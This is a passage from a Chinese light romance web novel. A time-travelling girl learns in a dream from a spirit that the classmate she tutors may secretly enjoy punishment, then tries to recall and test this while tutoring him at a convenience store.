他后知后觉地意识到,她好像……有点坏心眼。
原来她是这样的性格吗……
糟糕,好喜欢……
“哎呀,你怎么越来越亮了……你也太容易害羞了吧!”
……
呜……好害羞……
好一会,卷毛才缓过来。
他纠结了好一会,才小心道:“我没有名字,但你的名字我可以叫得亲密些吗?”
“当然可以了,毛毛,”祝今安觉得他越来越可爱了,“你想怎么亲密些?”
“安……安安可以吗?”
听到她的父母这么叫她,感觉很温暖……
“可以啊,我家人都是这么叫我的。”祝今安道,“我也很喜欢这个昵称。”
“那……那……”卷毛咽了口根本不存在的唾沫,紧张到有些说不出话,“安……安安?”
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“嗯,是我,安安,”祝今安笑着回应,“请问我们的毛毛叫我有什么事呢?”
卷毛感觉自己又在发光了。
喜欢……喜欢……好喜欢……
“安安啊……”
“嗯,我在。”
“安安……”
“嗯……”
……
卷毛乐此不倦地念了好几遍,祝今安也乐得回应了好几遍。
直到叫够了,卷毛才停下来,抱着膝盖,把发烫的脸埋进去,只剩下蓬松的卷发对着她,傻乎乎地偷笑。
那满足的样子,让祝今安仿佛能看到他身后有条无形的大尾巴在欢快地摇晃。
“安安呀……”
过了一会儿,他又小声唤道。
“嗯。”
祝今安以为新一轮的循环又要开始,他却迟疑了一下,声音带着点犹豫和担忧:“……我还是觉得你应该和季言澈保持一点距离……”
“他今天,有点奇怪……”
祝今安觉得卷毛对季言澈没由来的敌意有些夸张了,但她也没生气,决定先听他说下去:“他怎么奇怪了?”
卷毛也在纠结。
他觉得这种事情本来就难以启齿,况且自己就是远远观察,万一搞错了呢……而且以祝今安对季言澈的喜欢程度,肯定会觉得他在胡说八道吧……
但卷毛没办法就这样看着她以为季言澈是什么人畜无害的小白花,然后毫无戒心地亲近他。
所以,哪怕是觉得他在愱殬也好,他在胡扯也罢,他一定要说出来,给她提个醒。
“今天,你打他手心的时候,他状态很奇怪,你……有察觉到吗?”
卷毛谨慎道。
祝今安是觉得当时的氛围有些怪来着,但她又说不出来哪里怪:“好像是有点……”
“我觉得……”他斟酌着,想怎么含蓄地表达出来,“他心理有问题。”
“啊……他是心理有问题啊,他不是抑郁症吗?”
“不是,我猜测,季言澈是个抖m。”
卷毛思考过怎么说,最后还是决定直白点了。
不过,她应该知道这个吧?
“抖m?”祝今安缓慢地重复着这个发音奇特的词,眉头微微蹙起,清澈的眼睛里写满了“知识盲区”四个大字,“这是什么?”
……果然很纯洁。
“抖m就是自身有受虐倾向,属于xp的一种,也就是受到伤害时会忍不住兴奋……”
卷毛也不懂自己为啥会明白这种知识,为啥在自己的女神面前科普另一个男人这种行为。
但他明白了,自己生前绝对不是什么好人。
他生前怕不是就是个混迹在个大app的猥琐屌丝吧!不然怎么会对这么龌龊的知识烂熟于心!!!
而祝今安……CPU彻底烧了。
她仿佛推开了新世界的大门,第一次看清世界的另一面,大脑中过往一切的知识被推倒重构……
她的大脑就这样从宇宙大爆炸想到物种大爆发,从勾股定理想到母猪的产后护理,从薛定谔的猫想到她穿越前吃的那顿贵得心痛的烧烤,从亚里士多德的三段论想到她临走前放冰箱还没吃的混沌……
祝今安从来没想到过文字居然能有这样的排列组合。
卷毛说出的每一个字都像一颗失控的小行星,在她的思维宇宙中横冲直撞,将她过往的认知撞个稀巴烂。
最后,她的大脑归为虚无,只剩下三个哲学问题——
我是谁,我在哪,我从哪里来……
总而言之,祝今安在她26岁的时候穿越回到16岁本应最纯洁的年纪然后莫名其妙地接触到她原本这辈子都不会接触到的莫名其妙的知识。
祝今安:“……”
宇宙猫猫.jpg
蓝色大脑.jpg
别吵,我在烧烤.jpg
祝今安好像得到了升华。
……祝今安最后决定放弃思考。
15. 第一封信12
……祝今安也不知道自己是以怎样的心情从梦里醒来。
她醒来的时候还有点懵。
她记得昨天好像做了一个难以言喻的梦来着……
但梦的内容,却是怎么也想不起来。
……
最近几天好像都是这样,做的梦怎么也想不起来。
就隐约记得好像梦到了谁。
……
实在是想不起来,祝今安就放弃思考了。
算了算了,总会想起来的。
话虽如此,从家到便利店这一路上,那份“话到嘴边却忘了”的抓心挠肝之感始终如影随形。
等回过神来的时候,自己已经在便利店门口了。
……
祝今安刚想推门而入,脑海中一个声音却一闪而过:“我猜测季言澈是个……”
是个……啥?
祝今安使劲回想,愣是想不起那个空缺的名词。
……所以昨天是梦见季言澈了吗?
到底梦到了啥啊!
祝今安觉得自己要疯掉了。
她也觉得很纳闷,不就是个梦吗,有什么好在意的……
可是她就是很莫名在意,好像忘却了什么信息量爆炸的事。
尤其是那种就差一点就想起来的感觉,非常非常的难受!
季言澈则是不明所以地盯着祝今安好一会,没明白她为什么在门口呆了这么久不进来,最后实在是按耐不住想要见她的心,拉开了门:“祝、祝今安……”
“嗯?嗯……”祝今安才回过神来,露出今天的第一个笑容:“早啊,言澈!”
她还这么叫他的名字……
雨后的第一个清晨,空气很是湿冷,但季言澈却是觉得有些热了。
他紧张道:
“早、早上好!”
也露出了今天第一个笑容。
祝今安走进店中,往手中哈了口气:“外面好冷啊,还是里头暖和。”
季言澈默默点头。
店里还是暖和的,不像他的家里,空调也舍不得开。
“外面冷,你……怎么一直站外头?”
祝今安随口道:“在思考人生来着。”
刚说出口,莫名的熟悉感令祝今安愣住了。
……好熟悉的话……
“是吗……”季言澈觉得她敷衍他的样子都很可爱。
“那个……我有一个请求……”
“嗯?什么请求?”
季言澈似乎纠结了很久,最后像是豁出来般道:“你……不是叫我‘言澈’吗……我能不能也叫你叫得亲密些……”
祝今安愣住了。
这话她好像是第二次听了……
季言澈见她呆住了,以为她不愿意,慌忙道:“对、对不起!是我太冒犯了……你要是不愿意就算了……”
他一副要哭出来的样子,卑微道:“请……请你不要讨厌我……”
“你怎么突然这个样子啊,我没有不愿意啊……”祝今安连忙道,“我不会讨厌你的……”
“你想要怎么称呼我呢?”
不会也是“安安”吧?
……也?
祝今安再次愣住了。
谁也这么称呼我?
“今安……可以吗?”他小心翼翼地问出在心里排练过无数遍的称呼。
……其实更想叫安安的,但太亲密了,她应该接受不了……
“可以啊,”祝今安笑,“毕竟我也叫你言澈。”
虽然看不见季言澈的脸,但祝今安能明显感觉到他开心起来。
“那……今,今安……?”他试探着,轻轻唤出这个有些亲密的称呼,仿佛在品尝一颗珍贵的糖。
“嗯,是我。”
“今安!”第二声,他喊得坚定了许多,带着掩不住的欣喜。
“我在。”
“今安……”他乐此不倦地喊出第三声。
“嗯……”祝今安也不厌其烦应道。
季言澈开始傻兮兮笑了。
祝今安却觉得越来越诡异。
……不行了,这即视感到底是怎么回事?
“等一下……”祝今安打断他即将喊出的第四声,“我……好像梦到过这一幕……”
梦?
“是不是对某一场景有一瞬的即视感?”季言澈道,“我也有过这样的梦……”
“你说的那个是大脑的bug情况,我记得有专门的学术名来着,但我感觉我的情况有点不一样,我好像真梦到过……”
而且就在昨晚……
“是吗……”
“……算了,别管了。”
反正也想不出个所以然来。
祝今安不纠结了:“准备好今天的听写了吗?”
“嗯嗯!”季言澈点头。
“那开始了,第一个……”
……
“你今天全对诶!”祝今安高兴地将满面都是勾的听写本举起给他看,“今天给你两颗糖好不好?”
“嗯。”季言澈的声音听起来低低的,没有预想的高兴,“谢谢。”
“怎么感觉你不开心啊……”祝今安纳闷,“难得没有惩罚,还有两颗糖……”
惩罚?
祝今安又愣住了。
他不会因为没有惩罚而不开心吧……
“没有啊,我很高兴……”季言澈道,“因为我不太会表达情绪吧……”
“是吗……”祝今安半信半疑看着他。
“真的!我很高兴!”
季言澈努力道。
虽然因为没有惩罚而有点难受,但看到祝今安因为他全对那么高兴,他就觉得好多了。
为了不让她发现自己奇怪的状态,以后也不能要惩罚了……
而此时,祝今安的脑海已被“惩罚”二字完全占据。
脑海中那个声音再次响起,比之前清晰了许多:“你打他手心的时候,他状态很奇怪……”
是啊,确实很奇怪……
“他心理有问题……”
是啊,他确实有抑郁症……
“不是,我猜测,季言澈是个……”
季言澈是个什么?
……
祝今安绞尽脑汁地回想。
“……自身有受虐倾向……”
受虐倾向?受虐倾向?!
祝今安猛地抬头,看向眼前的季言澈,眼里写满了震惊。
季言澈则是被她的反应吓了一跳,和她的眼睛对上:“怎、怎么了?”
怎么一副见了鬼的表情?
祝今安没有回应他,只是失神地喃喃道:“我想起来了,我想起来了……”
“想起了什么?”
“我想起了……”
季言澈是个抖m啊!我劁!
**
……意识到季言澈可能有不为人知的属性后,祝今安很难再直视他的脸了。
对于昨晚的梦,祝今安还是没有完全想起来,她就记起了“抖m”的
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解释,其他的记忆都很模糊。
她也不懂自己是怎么在梦中学习到自己明明从未接触过的新知识的,她一方面觉得很神奇,一方面又在怀疑自己是不是中邪了。
也有可能是自己的大脑察觉到不对劲所以靠这个来给她警醒?
总之,这目前只是个怀疑,还得证明这个可能才行。
怎么证明呢?
祝今安偷偷看向季言澈。
他此时正在埋头写她布置的练习题。
“咳咳,言澈……”祝今安试探开口,“你……带了昨天的尺子吗?”
提及尺子,季言澈的身体明显一僵,他“嗯”一声道:“带了。”
昨天忘记拿出来了。
“……怎么了?”
不会察觉到什么异常吧?
祝今安瞎编:“哦,我就是觉得昨天拿尺子挺趁手的,可以一直作为你的惩罚。”
听到“惩罚”两个字,季言澈感觉自己的心跳又开始加速了。
他特别想赞同这个措施,但……不可以……
“还是不要了……”季言澈抿唇,“我……不喜欢用尺子打手心……”
“啊?”祝今安有些意外看着他。
他怎么今天的态度和昨天完全不一样?昨天明明是他很主动要求用尺子啊……
难道说那个梦是错的?
“因为……很疼的……”季言澈低下头,完全不敢看她的脸,“我……怕疼……”
见他这样,祝今安瞬间心软了:“很疼吗?对不起,我昨天下手没轻没重的……”
“不,是我的错……是我比较脆弱……”
是他昨天得意忘形了,借着冠冕堂皇的理由让一无所知的祝今安满足自己肮脏龌龊的癖好……是他的错才是。
“对不起……”
季言澈愧疚地又想哭了。
“好了好了,我以后不惩罚你了……”祝今安叹气,踮起脚来摸摸他的头,“疼的话应该早点说啊……”
“嗯……”季言澈点头,“我以后不会犯错的,不会让你用到惩罚的。”
看他这样畏惧惩罚的样子,怎么也不像梦中定义的“抖m”啊。
果然季言澈没有这方面癖好吧。
祝今安放下心来。
“好好,我相信你。”
她露出一个笑来,哄道。
“不过,还是得有个备用的惩罚才行……”祝今安道,“这样吧,如果你犯了错,我就指定你唱首歌,好不好?”
唱歌?他吗?
季言澈有些愣住:“我……我已经很久没有唱过歌了……也没在人前唱过……”
“所以这才是惩罚啊!”祝今安笑,“还有什么让社恐献才艺更恐怖的惩罚吗?”
“社恐……?这是什么意思?”季言澈茫然问道。
“就是社交恐惧啊,”祝今安解释道,“哎呀,这不是重点,重点是你犯错了要唱歌,可以接受吗?”
“我……我会努力的……”
这种惩罚确实挺难为情的,万一他唱得很糟糕怎么办?他上一次唱歌还是小学和妈妈一起唱童谣的时候……
显然音乐方面还是祝今安比较擅长啊,会弹钢琴,唱歌也好听……
“哎呀,你别那么紧张嘛……”祝今安安慰道,“你声音挺好听的,很清澈温和,只要不跑调,不会难听的。”
……他的声音好听吗……
季言澈脸一红。
好吧,如果她喜欢,他会加油的。